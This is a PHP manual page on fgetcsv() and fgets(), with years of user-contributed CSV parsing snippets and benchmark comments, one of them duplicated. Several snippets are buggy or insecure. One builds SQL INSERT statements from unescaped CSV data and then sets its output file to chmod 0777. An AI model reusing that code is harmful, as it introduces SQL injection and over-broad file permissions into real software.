    }

    //quick example of usage
    $o = new PaperPear_CSVParser('F:\foo.csv');
    while ($o->getNext())
    {
        echo "Price=" . $o->getPrice() . "\r\n";
    }

?>
Dave 01-Aug-2008 02:03
If you want to get your CSV rows (in this case a file posted from a form) into one big array, you can use this code.  You may have to play around with the ord() and explode separators depending on your line endings.  You can change to the commented out explode to use " delimiter.

<?php

if( $_FILES['file']['tmp_name'] )
{
   $csv_rows=Array();
   $csv="";
   $handle = fopen($_FILES['file']['tmp_name'], "r");

   //load char by char, to replace line endings
   while($data = fgetc($handle))
   {
      if(ord($data)==13)
      {
        $csv.="\r\n";
      }
      else
      {
        $csv.=$data;
      }
    }
    fclose($handle);

    $csv_lines=explode("\r\n", $csv);

    foreach($csv_lines as $line)
    {
      $csv_rows[]=explode(",", $line);
      //or ltrim(rtrim(explode('","', $line),'"'),'"') for delimited fields
    }
}

?>
Tim Henderson 04-Oct-2007 03:40
Only problem with fgetcsv(), at least in PHP 4.x -- any stray slash in the data that happens to come before a double-quote delimiter will break it -- ie, cause the field delimiter to be escaped. I can't find a direct way to deal with it, since fgetcsv() doesn't give you a chance to manipulate the line before it reads it and parses it...I've had to change all occurrences of '\"' to '" in the file first before feeding ot to fgetcsv(). Otherwise this is perfect for that Microsoft-CSV formula, deals gracefully with all the issues.
jszatmary at hotmail dot com 21-Aug-2007 04:06
This function appears to assume that \" is an escaped quote - similar to "" - which may lead to incorrect results while reading some files. Found while running under PHP 5.1.6.
e at osterman dot com 13-Jun-2007 11:39
A 5.2 way to lazily parse a single CSV line

<?php
function parseCSV($str, $delimiter = ',', $enclosure = '"', $len = 4096)
{
  $fh = fopen('php://memory', 'rw');
  fwrite($fh, $str);
  rewind($fh);
  $result = fgetcsv( $fh, $len, $delimiter, $enclosure );
  fclose($fh);
  return $result;
}
?>
D Steer 11-Jun-2007 04:32
Here is a simple to include the field names in the array. Altough this is very simple, it does the job fantastically

<?php

print_r(buildStock('stock.csv'));

function buildStock($File) {
        $handle = fopen($File, "r");
        $fields = fgetcsv($handle, 1000, ",");

        while($data = fgetcsv($handle, 1000, ",")) {
            $detail[] = $data;
        }

        $x = 0;
        $y = 0;

        foreach($detail as $i) {
            foreach($fields as $z) {
                $stock[$x][$z] = $i[$y];
                $y++;
            }
            $y = 0;
            $x++;
        }
        return $stock;
    }
?>
Mr N. 05-Jan-2007 10:23
There is still a bug with column headings ( "false" != false )
<?php
    function parse_csv_file($file, $columnheadings = false, $delimiter = ',', $enclosure = "\"") {

       $row = 1;
       $rows = array();
       $handle = fopen($file, 'r');

       while (($data = fgetcsv($handle, 1000, $delimiter, $enclosure )) !== FALSE) {

           if (!($columnheadings == false) && ($row == 1)) {
               $headingTexts = $data;
           } elseif (!($columnheadings == false)) {
               foreach ($data as $key => $value) {
                   unset($data[$key]);
                   $data[$headingTexts[$key]] = $value;
               }
               $rows[] = $data;
           } else {
               $rows[] = $data;
           }
           $row++;
       }

       fclose($handle);
       return $rows;
    }
?>
myrddin at myrddin dot myrddin 18-Jul-2006 06:14
Here is a OOP based importer similar to the one posted earlier. However, this is slightly more flexible in that you can import huge files without running out of memory, you just have to use a limit on the get() method

Sample usage for small files:-
-------------------------------------
<?php
$importer = new CsvImporter("small.txt",true);
$data = $importer->get();
print_r($data);
?>

Sample usage for large files:-
-------------------------------------
<?php
$importer = new CsvImporter("large.txt",true);
while($data = $importer->get(2000))
{
print_r($data);
}
?>

And heres the class:-
-------------------------------------
<?php
class CsvImporter
{
    private $fp;
    private $parse_header;
    private $header;
    private $delimiter;
    private $length;
    //--------------------------------------------------------------------
    function __construct($file_name, $parse_header=false, $delimiter="\t", $length=8000)
    {
        $this->fp = fopen($file_name, "r");
        $this->parse_header = $parse_header;
        $this->delimiter = $delimiter;
        $this->length = $length;
        $this->lines = $lines;

        if ($this->parse_header)
        {
           $this->header = fgetcsv($this->fp, $this->length, $this->delimiter);
        }

    }
    //--------------------------------------------------------------------
    function __destruct()
    {
        if ($this->fp)
        {
            fclose($this->fp);
        }
    }
    //--------------------------------------------------------------------
    function get($max_lines=0)
    {
        //if $max_lines is set to 0, then get all the data

        $data = array();

        if ($max_lines > 0)
            $line_count = 0;
        else
            $line_count = -1; // so loop limit is ignored

        while ($line_count < $max_lines && ($row = fgetcsv($this->fp, $this->length, $this->delimiter)) !== FALSE)
        {
            if ($this->parse_header)
            {
                foreach ($this->header as $i => $heading_i)
                {
                    $row_new[$heading_i] = $row[$i];
                }
                $data[] = $row_new;
            }
            else
            {
                $data[] = $row;
            }

            if ($max_lines > 0)
                $line_count++;
        }
        return $data;
    }
    //--------------------------------------------------------------------

}
?>
jon at jonhassall dot com 25-May-2006 06:54
I modified the code for my own purposes, to return an array with named keys for each field. I tried various alternatives, and this seems to work well with exported Excel data.

<?php
//Move through a CSV file, and output an associative array for each line
ini_set("auto_detect_line_endings", 1);
$current_row = 1;
$handle = fopen("testdatasource.csv", "r");
while ( ($data = fgetcsv($handle, 10000, ",") ) !== FALSE )
{
    $number_of_fields = count($data);
    if ($current_row == 1)
    {
    //Header line
        for ($c=0; $c < $number_of_fields; $c++)
        {
            $header_array[$c] = $data[$c];
        }
    }
    else
    {
    //Data line
        for ($c=0; $c < $number_of_fields; $c++)
        {
            $data_array[$header_array[$c]] = $data[$c];
        }
        print_r($data_array);
    }
    $current_row++;
}
fclose($handle);
?>

Jon Hassall
daniel at softel dot jp 09-Mar-2006 04:03
Note that fgetcsv() uses the system locale setting to make assumptions about character encoding.
So if you are trying to process a UTF-8 CSV file on an EUC-JP server (for example),
you will need to do something like this before you call fgetcsv():

setlocale(LC_ALL, 'ja_JP.UTF8');

[Also not that setlocale() doesn't *permanently* affect the system locale setting]
abu1980 at yahoo dot com 28-Feb-2006 06:18
I was using the function to import a csv file that had some values with "\" included this confused the import function to ignore the End of line and hence an incorrect number of rows is returned to me.

Suggest you try to replace that \ and { brackets as well since they have the same function of an escape character before u import the function

thanks
28-Feb-2006 12:05
beware of characters of binary value == 0, as they seem to make fgetcsv ignore the remaining part of a line where they appear.

Maybe this is normal under some convention I don't know, but a file exported from Excel had those as values for some cells *sometimes*, thus fgetcsv return variable cell counts for different lines.

i'm using php 4.3
tokai at binaryriot dot com 07-Nov-2005 11:18
Newer PHP versions handle cvs files slightly different than older versions.

"Max Mustermann"|"Muster Road 34b"|"Berlin"    |"Germany"
"Sophie Master" |"Riverstreet"    |"Washington"|"USA"

The extra spaces behind a few fields in the example (which are useful, when you manually manage a small csv database to align the columns) were ignored by fgetcsv from PHP 4.3. With the new 4.4.1 release they get appended to the string, so you end up with "Riverstreet    " instead the expected "Riverstreet".

Easy workaround is to just trim all fields after reading them in.

<?php
while ( $data = fgetcsv($database, 32768, "|") )
{
    $i = 0;

    while(isset($data[$i]))
    {
        $data[$i] = rtrim($data[$i]);
        $i++;
    }

    // ....
}
?>
junk at vhd dot com dot au 25-Oct-2005 06:52
The fgetcsv function seems to follow the MS excel conventions, which means:

- The quoting character is escaped by itself and not the back slash.
(i.e.Let's use the double quote (") as the quoting character:

   Two double quotes  "" will give a single " once parsed, if they are inside a quoted field (otherwise neither of them will be removed).

   \" will give \" whether it is in a quoted field or not (same for \\) , and

   if a single double quote is inside a quoted field it will be removed. If it is not inside a quoted field it will stay).

- leading and trailing spaces (\s or \t) are never removed, regardless of whether they are in quoted fields or not.

- Line breaks within fields are dealt with correctly if they are in quoted fields. (So previous comments stating the opposite are wrong, unless they are using a different PHP version.... I am using 4.4.0.)

So fgetcsv if actually very complete and can deal with every possible situation. (It does need help for macintosh line breaks though, as mentioned in the help files.)

I wish I knew all this from the start. From my own benchmarks fgetcsv strikes a very good compromise between memory consumption and speed.

-------------------------
Note: If back slashes are used to escape quotes they can easily be removed afterwards. Same for leading and trailing spaces.
mortanon at gmail dot com 14-Oct-2005 05:05
Hier is an example for a CSV Iterator.

<?php
class CsvIterator implements Iterator
{
    const ROW_SIZE = 4096;
    /**
     * The pointer to the cvs file.
     * @var resource
     * @access private
     */
    private $filePointer = null;
    /**
     * The current element, which will
     * be returned on each iteration.
     * @var array
     * @access private
     */
    private $currentElement = null;
    /**
     * The row counter.
     * @var int
     * @access private
     */
    private $rowCounter = null;
    /**
     * The delimiter for the csv file.
     * @var str
     * @access private
     */
    private $delimiter = null;

    /**
     * This is the constructor.It try to open the csv file.The method throws an exception
     * on failure.
     *
     * @access public
     * @param str $file The csv file.
     * @param str $delimiter The delimiter.
     *
     * @throws Exception
     */
    public function __construct($file, $delimiter=',')
    {
        try {
            $this->filePointer = fopen($file, 'r');
            $this->delimiter = $delimiter;
        }
        catch (Exception $e) {
            throw new Exception('The file "'.$file.'" cannot be read.');
        }
    }

    /**
     * This method resets the file pointer.
     *
     * @access public
     */
    public function rewind() {
        $this->rowCounter = 0;
        rewind($this->filePointer);
    }

    /**
     * This method returns the current csv row as a 2 dimensional array
     *
     * @access public
     * @return array The current csv row as a 2 dimensional array
     */
    public function current() {
        $this->currentElement = fgetcsv($this->filePointer, self::ROW_SIZE, $this->delimiter);
        $this->rowCounter++;
        return $this->currentElement;
    }

    /**
     * This method returns the current row number.
     *
     * @access public
     * @return int The current row number
     */
    public function key() {
        return $this->rowCounter;
    }

    /**
     * This method checks if the end of file is reached.
     *
     * @access public
     * @return boolean Returns true on EOF reached, false otherwise.
     */
    public function next() {
        return !feof($this->filePointer);
    }

    /**
     * This method checks if the next row is a valid row.
     *
     * @access public
     * @return boolean If the next row is a valid row.
     */
    public function valid() {
        if (!$this->next()) {
            fclose($this->filePointer);
            return false;
        }
        return true;
    }
}
?>

Usage :

<?php
$csvIterator = new CsvIterator('/path/to/csvfile.csv');
foreach ($csvIterator as $row => $data) {
    // do somthing with $data
}
?>
Bart 17-Jun-2005 01:08
The file function reads the file in an array with the EOL still attached, so the +1 is not necessary.
jc at goetc dot net 17-Jun-2004 05:51
I've had alot of projects recently dealing with csv files, so I created the following class to read a csv file and return an array of arrays with the column names as keys. The only requirement is that the 1st row contain the column headings.

I only wrote it today, so I'll probably expand on it in the near future.

<?php
class CSVparse
  {
  var $mappings = array();

  function parse_file($filename)
    {
    $id = fopen($filename, "r"); //open the file
    $data = fgetcsv($id, filesize($filename)); /*This will get us the */
                                               /*main column names */

    if(!$this->mappings)
       $this->mappings = $data;

    while($data = fgetcsv($id, filesize($filename)))
        {
         if($data[0])
           {
            foreach($data as $key => $value)
               $converted_data[$this->mappings[$key]] = addslashes($value);
            $table[] = $converted_data; /* put each line into */
             }                                 /* its own entry in    */
         }                                     /* the $table array    */
    fclose($id); //close file
    return $table;
    }
  }
?>
dawa at did-it dot com 12-Apr-2004 09:30
The following modification will hide the unnecessary delimiter in the array
that is returned when fgetcsvfromline is called.

<?php
function fgetcsvfromline ($line, $columnCount, $delimiterChar = ',',
                $enclosureChar = '"') {
        global $regExpSpecialChars;
        $matches = array();
        $delimiterChar = strtr($delimiterChar, $regExpSpecialChars);
        $enclosureChar = strtr($enclosureChar, $regExpSpecialChars);
        $cutpoint = strlen($delimiterChar)+1;
        $regExp = "/^";
        for ($i = 0; $i < $columnCount; $i++) {
                $regExp .= $enclosureChar.'?(.*?)'.$enclosureChar.'?'.$delimiterChar;
        }
        $regExp = substr($regExp,0,-$cutpoint).'/';
        if (preg_match($regExp, $line, $matches)) {
                return $matches;
        }
        return 0;
}
?>

=== If you were getting
[0] => "Ma"rk","Bergeron","rocks","12345,"times"
[1] => "
[2] => Ma"rk
[3] => "
..etc

You will now get
 [0] => "Ma"rk","Bergeron","rocks","12345,"times"
 [1] => Ma"rk
...etc
Dave Meiners 05-Feb-2004 05:37
using the example above with a length of 1000 will truncate any csv rows longer than 1000 bytes, the remainder of that line will be represented next time you call $data = fgetcsv(). one solution i have seen to this is to use filesize("test.csv") as the length argument, however sometimes with large csv files you may encounter errors for exceeding the memory limit. to remedy this, i have read the csv file into an array, looping through that array to find the longest line in the csv, and then using that value as my length argument, unset($array) to free up the memory. im open to better solutions.

<?php

    $length = 1000;
    $array = file("test.csv");
    for($i=0;$i<count($array);$i++)
    {
        if ($length < strlen($array[$i]))
        {
            $length = strlen($array[$i]);
        }
    }
    unset($array);

    $handle = fopen("test.csv", "r");
    while ($data = fgetcsv($handle, $length, ","))
    {
        // do what you want with your array here.

    }
    fclose($handle);

?>
phpnet at smallfryhosting dot co dot uk 19-Sep-2003 06:42
Another version [modified michael from mediaconcepts]

<?php
  function arrayFromCSV($file, $hasFieldNames = false, $delimiter = ',', $enclosure='') {
    $result = Array();
    $size = filesize($file) +1;
    $file = fopen($file, 'r');
    #TO DO: There must be a better way of finding out the size of the longest row... until then
    if ($hasFieldNames) $keys = fgetcsv($file, $size, $delimiter, $enclosure);
    while ($row = fgetcsv($file, $size, $delimiter, $enclosure)) {
        $n = count($row); $res=array();
        for($i = 0; $i < $n; $i++) {
            $idx = ($hasFieldNames) ? $keys[$i] : $i;
            $res[$idx] = $row[i];
        }
        $result[] = $res;
    }
    fclose($file);
    return $result;
  }
?>
ng4rrjanbiah at rediffmail dot com 08-Sep-2003 12:02
Important note about the CSV format:
There should *not* be any space in between the fields. For example,
field1, field2, field3 [Wrong!]
field1,field2,field3 [Correct-No space between fields]

If you add space between the fields, MS Excel won't recognize the fields (especially date and multi-line text fields).

HTH,
R. Rajesh Jeba Anbiah
reptileX at example dot com 12-Aug-2003 09:57
beware of using this function in two different php versions,

in php 4.3 the 4th parameter can be given altough empty

in php 4.2 you get just a warning but it is not able to read the csv file if you place an enclosure that is empty
brian at brianvoss dot com 26-Jul-2003 12:55
If anyone else is taking on the task of converting from FileMaker Pro to MySQL, you might find this useful:

Here's a collection of simple functions that take a CSV file, re-formats the data and writes to a file with MySQL INSERTs.

ORIGINAL DATA:

"1", "foo", "2"
"3", "bar", "4"

OUTPUT

INSERT info mysql_table VALUES('', '1', 'foo', '2');
INSERT info mysql_table VALUES('', '3', 'bar', '4');

For simple data it works alright, but I could not find a way to escape the contents before assembling the INSERT statements - kept getting "bad argument for implode()"...

<?php
/*************************************
*                  main              *
*************************************/

 $file = "path/to/your/file.txt";
 $tbl = "your_MySQL_table";

 $CSVarray = get_csv($file);
 $CSVarray = makeINSERTS($CSVarray, "$tbl");

 $filetowrite = $_POST["file"]."_sql.txt";
    $fp = fopen($filetowrite, "w");
    while (list($key, $val) = @each($CSVarray)) {
              fwrite($fp, $val);
 }
 fclose($fp);
 chmod($filetowrite, 0777);

 echo "File written Successfully";

}

/*************************************
*                  functions         *
*************************************/

// This function courtesy of drudge@phpcoders.net

function get_csv($filename, $delim =","){

    $row = 0;
    $dump = array();

    $f = fopen ($filename,"r");
    $size = filesize($filename)+1;
    while ($data = fgetcsv($f, $size, $delim)) {
        $dump[$row] = $data;
        //echo $data[1]."<br>";
        $row++;
    }
    fclose ($f);

    return $dump;
}

function makeINSERT($text, $table){

    $insert = array();
    $i = 0;

    while (list($key, $val) = @each($text)){

// We'll start off the INSERT with '', for an
//     auto-incremented key.  Remove if not needed.

            $insert[$i] = "INSERT into ".$table." VALUES('','";
            $insert[$i] .= implode("','", $val);
            $insert[$i] .= "');\n";

            $i++;
        }

    return $insert;

}
?>
kurtnorgaz at web dot de 21-Jul-2003 09:00
You should pay attention to the fact that "fgetcsv" does remove leading TAB-chars "chr(9)" while reading the file.

This means if you have a chr(9) as the first char in the file and you use fgetcsv this char is automaticaly deleted.

Example:
file content:
chr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = first
$line[1] = second
$line[2] = third
$line[3] = fourth

and not
$line[0] = chr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth

All chr(9) after another char is not deleted!

Example:
file content:
Achr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = Achr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth
anthony dot thomas at nospam dot com 06-Dec-2002 06:29
fgetcsv stops reading your file?

I had to write a script to validate and import a large amount of data to MySQL and it would stop running. I've noticed, after trawling the internet for a solution, quite a few people have had similar problems.

Solution? Like a dope I had forgotten to put in
set_time_limit()
within a loop. Otherwise the script would time out before it finished importing all the data.

Moral of the story? Only suppress errors after your script works with a large amount of test data!
php at dogpoop dot cjb dot net 16-Nov-2002 05:01
This function takes a csv line and splits it into an array, much like fgetcsv does but you can use it on data that isn't coming in from a file, or you can read data from a file some other way (like if your Mac files aren't being read correctly) and use this to split it.  If you have any corrections, comments (good or bad), etc. I would appreciate an email to the above address.

<?php
function csv_split($line,$delim=',',$removeQuotes=true) {
#$line: the csv line to be split
#$delim: the delimiter to split by
#$removeQuotes: if this is false, the quotation marks won't be removed from the fields
    $fields = array();
    $fldCount = 0;
    $inQuotes = false;
    for ($i = 0; $i < strlen($line); $i++) {
        if (!isset($fields[$fldCount])) $fields[$fldCount] = "";
        $tmp = substr($line,$i,strlen($delim));
        if ($tmp === $delim && !$inQuotes) {
            $fldCount++;
            $i += strlen($delim)-1;
        } else if ($fields[$fldCount] == "" && $line[$i] == '"' && !$inQuotes) {
            if (!$removeQuotes) $fields[$fldCount] .= $line[$i];
            $inQuotes = true;
        } else if ($line[$i] == '"') {
            if ($line[$i+1] == '"') {
                $i++;
                $fields[$fldCount] .= $line[$i];
            } else {
                if (!$removeQuotes) $fields[$fldCount] .= $line[$i];
                $inQuotes = false;
            }
        } else {
            $fields[$fldCount] .= $line[$i];
        }
    }
    return $fields;
}
?>
joeldegan-AT-yahoo.com 12-Jun-2002 10:01
function to parse multi arrays into csv data
array in... array of array(datasets); first dataset = field names.
usage:
$toparse[0][0] = "field1";
$toparse[0][1] = "field2";
$toparse[1][0] = "value1";
$toparse[1][1] = "123123123"; // to see
echo export_to_csv($toparse);

<?php
function export_to_csv($inarray){
      while (list ($key1, $val1) = each ($inarray)) {
        while (list ($key, $val) = each ($val1)) {
          if (is_numeric($val)){
        $sendback .= $val.",";
           }else{
            $sendback .= "\"". $val ."\",";
          }//fi
        }//wend
        $sendback = substr($sendback, 0, -1); //chop last ,
        $sendback .= "\n";
      }//wend
    return ($sendback);
}// end function
?>

send the file to the client.. pretty simple.
usage: send_file_to_client("data.csv",export_to_csv($data));

<?php
function send_file_to_client($filename, $data){
    header("Content-type: application/ofx");
    header("Content-Disposition: attachment; filename=$filename");
    echo $data;
};
?>
blair at squiz . net 15-Aug-2001 04:19
Here is a function that takes an array and adds a CSV line to the passed file pointer.

<?php
function fputcsv ($fp, $array, $deliminator=",") {

  $line = "";
  foreach($array as $val) {
    # remove any windows new lines,
    # as they interfere with the parsing at the other end
    $val = str_replace("\r\n", "\n", $val);

    # if a deliminator char, a double quote char or a newline
    # are in the field, add quotes
    if(ereg("[$deliminator\"\n\r]", $val)) {
      $val = '"'.str_replace('"', '""', $val).'"';
    }#end if

    $line .= $val.$deliminator;

  }#end foreach

  # strip the last deliminator
  $line = substr($line, 0, (strlen($deliminator) * -1));
  # add the newline
  $line .= "\n";

  # we don't care if the file pointer is invalid,
  # let fputs take care of it
  return fputs($fp, $line);

}#end fputcsv()
?>

[EDIT BY danbrown AT php DOT net: A function named fputcsv(), performing a very similar action, was added to the core in PHP 5.1.0.]


Gets line from file pointer

  • « fgetcsv
  • fgetss »
  • PHP Manual
  • Filesystem Functions
  • Gets line from file pointer

fgets

(PHP 4, PHP 5)

fgets — Gets line from file pointer

Description

string fgets ( resource $handle [, int $length ] )

Gets a line from file pointer.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

length

Reading ends when length - 1 bytes have been read, or a newline (which is included in the return value), or an EOF (whichever comes first). If no length is specified, it will keep reading from the stream until it reaches the end of the line.

Note:

Until PHP 4.3.0, omitting it would assume 1024 as the line length. If the majority of the lines in the file are all larger than 8KB, it is more resource efficient for your script to specify the maximum line length.

Return Values

Returns a string of up to length - 1 bytes read from the file pointed to by handle. If there is no more data to read in the file pointer, then FALSE is returned.

If an error occurs, FALSE is returned.

Changelog

Version | Description
4.3.0 | fgets() is now binary safe

Examples

Example #1 Reading a file line by line

<?php
$handle = @fopen("/tmp/inputfile.txt", "r");
if ($handle) {
    while (($buffer = fgets($handle, 4096)) !== false) {
        echo $buffer;
    }
    if (!feof($handle)) {
        echo "Error: unexpected fgets() fail\n";
    }
    fclose($handle);
}
?>

Notes

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

Note:

People used to the 'C' semantics of fgets() should note the difference in how EOF is returned.

See Also

  • fgetss() - Gets line from file pointer and strip HTML tags
  • fread() - Binary-safe file read
  • fgetc() - Gets character from file pointer
  • stream_get_line() - Gets line from stream resource up to a given delimiter
  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fsockopen() - Open Internet or Unix domain socket connection
  • stream_set_timeout() - Set timeout period on a stream

User Contributed Notes

wojons 29-Jan-2014 08:32
This goes out to Leigh Purdie (5 years ago) and also Dade Brandon (4 months ago)

So i say Leigh posting and though omg i need to change all my fgets to stream_get_line. Then i ran the tests as shown in Leigh Purdie comment His results:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s

My Results:

$  time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m0.341s
user    0m0.352s
sys    0m0.148s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m4.283s
user    0m4.128s
sys    0m0.448s

My results do show the same issue his results show. But first off PHP has at least gotten about 2-5 times faster then when the tests were first run (or better hardware).

Now to relate to Dade Brandon who states if you use a correct buffer size the perfomance is neck and neck.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,21,"\n")) { 1; } fclose($fp);'

real    0m0.336s
user    0m0.412s
sys    0m0.076s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,21)) { 1; } fclose($fp);'

real    0m0.312s
user    0m0.364s
sys    0m0.192s

As you can see very close and fgets just coming just a little bit ahead. I suspect that fgets is reading backwards on the buffer or loads everything into its self then trys to figure it out where as a correct set buffer does the trick. Dade Brandon states that fgets lets you know how the line was delimited. stream_get_line lets you choose what you wanna call the delimiter using its 3rd option.

fgets has one more option that is important, you dont have to set the length of the line. So in a case where you may not know the length of the line maybe in handling Http protocol or something else like log lines you can simply leave it off and still get great performance.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp)) { 1; } fclose($fp);'

real    0m0.261s
user    0m0.260s
sys    0m0.232s

This is better then with a buffer set.
Anonymous 29-Jan-2014 08:31
This goes out to Leigh Purdie (5 years ago) and also Dade Brandon (4 months ago)

So i say Leigh posting and though omg i need to change all my fgets to stream_get_line. Then i ran the tests as shown in Leigh Purdie comment His results:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s

My Results:

$  time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m0.341s
user    0m0.352s
sys    0m0.148s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m4.283s
user    0m4.128s
sys    0m0.448s

My results do show the same issue his results show. But first off PHP has at least gotten about 2-5 times faster then when the tests were first run (or better hardware).

Now to relate to Dade Brandon who states if you use a correct buffer size the perfomance is neck and neck.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,21,"\n")) { 1; } fclose($fp);'

real    0m0.336s
user    0m0.412s
sys    0m0.076s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,21)) { 1; } fclose($fp);'

real    0m0.312s
user    0m0.364s
sys    0m0.192s

As you can see very close and fgets just coming just a little bit ahead. I suspect that fgets is reading backwards on the buffer or loads everything into its self then trys to figure it out where as a correct set buffer does the trick. Dade Brandon states that fgets lets you know how the line was delimited. stream_get_line lets you choose what you wanna call the delimiter using its 3rd option.

fgets has one more option that is important, you dont have to set the length of the line. So in a case where you may not know the length of the line maybe in handling Http protocol or something else like log lines you can simply leave it off and still get great performance.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp)) { 1; } fclose($fp);'

real    0m0.261s
user    0m0.260s
sys    0m0.232s

This is better then with a buffer set.
Dade Brandon 31-Aug-2013 09:33
Regarding Leigh Purdie's comment (from 4 years ago) about stream_get_line being better for large files, I decided to test this in case it was optimized since then and I found out that Leigh's comment is just completely incorrect

fgets actually has a small amount of better performance, but the test Leigh did was not set up to produce good results

The suggested test was:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

0m1.616s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

0m7.392s

The reason this is invalid is because the buffer size of 65535 is completely unnecessary

piping the output of "yes 'this is a test line'" in to PHP makes each line 19 characters plus the delimiter

so while I don't know why stream_get_line performs better with an oversize buffer, if both buffer sizes are correct, or default, they have a negligable performance difference - although notably, stream_get_line is consistent - however if you're thinking of switching, make sure to be aware of the difference between the two functions, that stream_get_line does NOT append the delimiter, and fgets DOES append the delimiter

Here are the results on one of my servers:

Buffer size 65535
stream_get_line:    0.340s
fgets:   2.392s

Buffer size of 1024
stream_get_line:  0m0.348s
fgets: 0.404s

Buffer size of 8192 (the default for both)
stream_get_line: 0.348s
fgets:  0.552s

Buffer size of 100:
stream_get_line: 0.332s
fgets: 0.368s
apardo at NOSPAM dot gmail dot com 18-May-2012 01:03
This is a a simple function to detect end of line type for any file.

<?php
function detectEndOfLine($file)
{
    $handle = @fopen($file, "r");
    if ($handle)
    {
        $char=0;
        while (!$eol || feof($handle))
        {
            $char++;
            $line = fgets($handle, $char);
            $eol = preg_match("/(\r)+/", $line)? "W" : "";
            if(!$eol) $eol = preg_match("/(\n)+/", $line)? "L" : "";
        }
        return $eol;
        fclose($handle);
    }
}
?>
dan at censornet dot com 25-Apr-2012 09:42
WARNING! fgets() and I presume any read() call to a file handle, e.g.

  while(!feof(STDIN)) {
    $line = fgets(STDIN);

    ...do something useful with $line...
  }

...will result in a timeout after a default time of 60 seconds on my install. This behavior is non standard (not POSIX like) and seems to me to be a bug, or if not a major caveat which should be documented more clearly.

After the timeout fgets() will return FALSE (=== FALSE), however, you can check to see if the stream (file handle) has really closed by checking feof($stream), e.g.

  while(!feof(STDIN)) {
    $line = fgets(STDIN);

    if($line === FALSE) {
      if(feof(STDIN)) {
        break;
      }
      continue;
    }

    ...do something useful with $line...
  }
hgs at cs dot columbia dot edu 20-Jan-2011 01:42
There seems to be an interaction between sockets and the auto_detect_line_endings setting that can cause rather peculiar behavior. Apparently, if the first line read from a socket is split across two TCP packets, the detector will look at the first TCP packet and determine that the system uses MacOS (\r) line endings, even though the LF is contained in the next packet. For example, this affected the PEAR Net_SMTP package, which would fail mysteriously for only some email servers.
lzsiga at freemail.c3.hu 04-Jun-2010 08:32
Some people try to call feof before fgets, and then ignoring the return value of fgets. This method leads to processing value FALSE when reaching the end of file.

Bad example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while (! feof ($f)) {
        $line= fgets ($f);
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>

Good example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while ($line= fgets ($f)) {
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>
afwxkat at gmail dot com 23-Jul-2009 02:07
One thing I discovered with fgets, at least with PHP 5.1.6, is that you may have to use an IF statement to avoid your code running rampant (and possibly hanging the server).  This can cause problems if you do not have root access on the server on which you are working.

This is the code I have implemented ($F1 is an array):

<?php
   if($fh = fopen("filename","r")){
      while (!feof($fh)){
         $F1[] = fgets($fh,9999);
      }
      fclose($fh);
    }
?>

I have noticed that without the IF statement, fgets seems to ignore when $fh is undefined (i.e., "filename" does not exist).  If that happens, it will keep attempting to read from a nonexistent filehandle until the process can be administratively killed or the server hangs, whichever comes first.
Leigh Purdie 13-Oct-2008 08:14
For large files, consider using stream_get_line rather than fgets - it can make a significant difference.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s
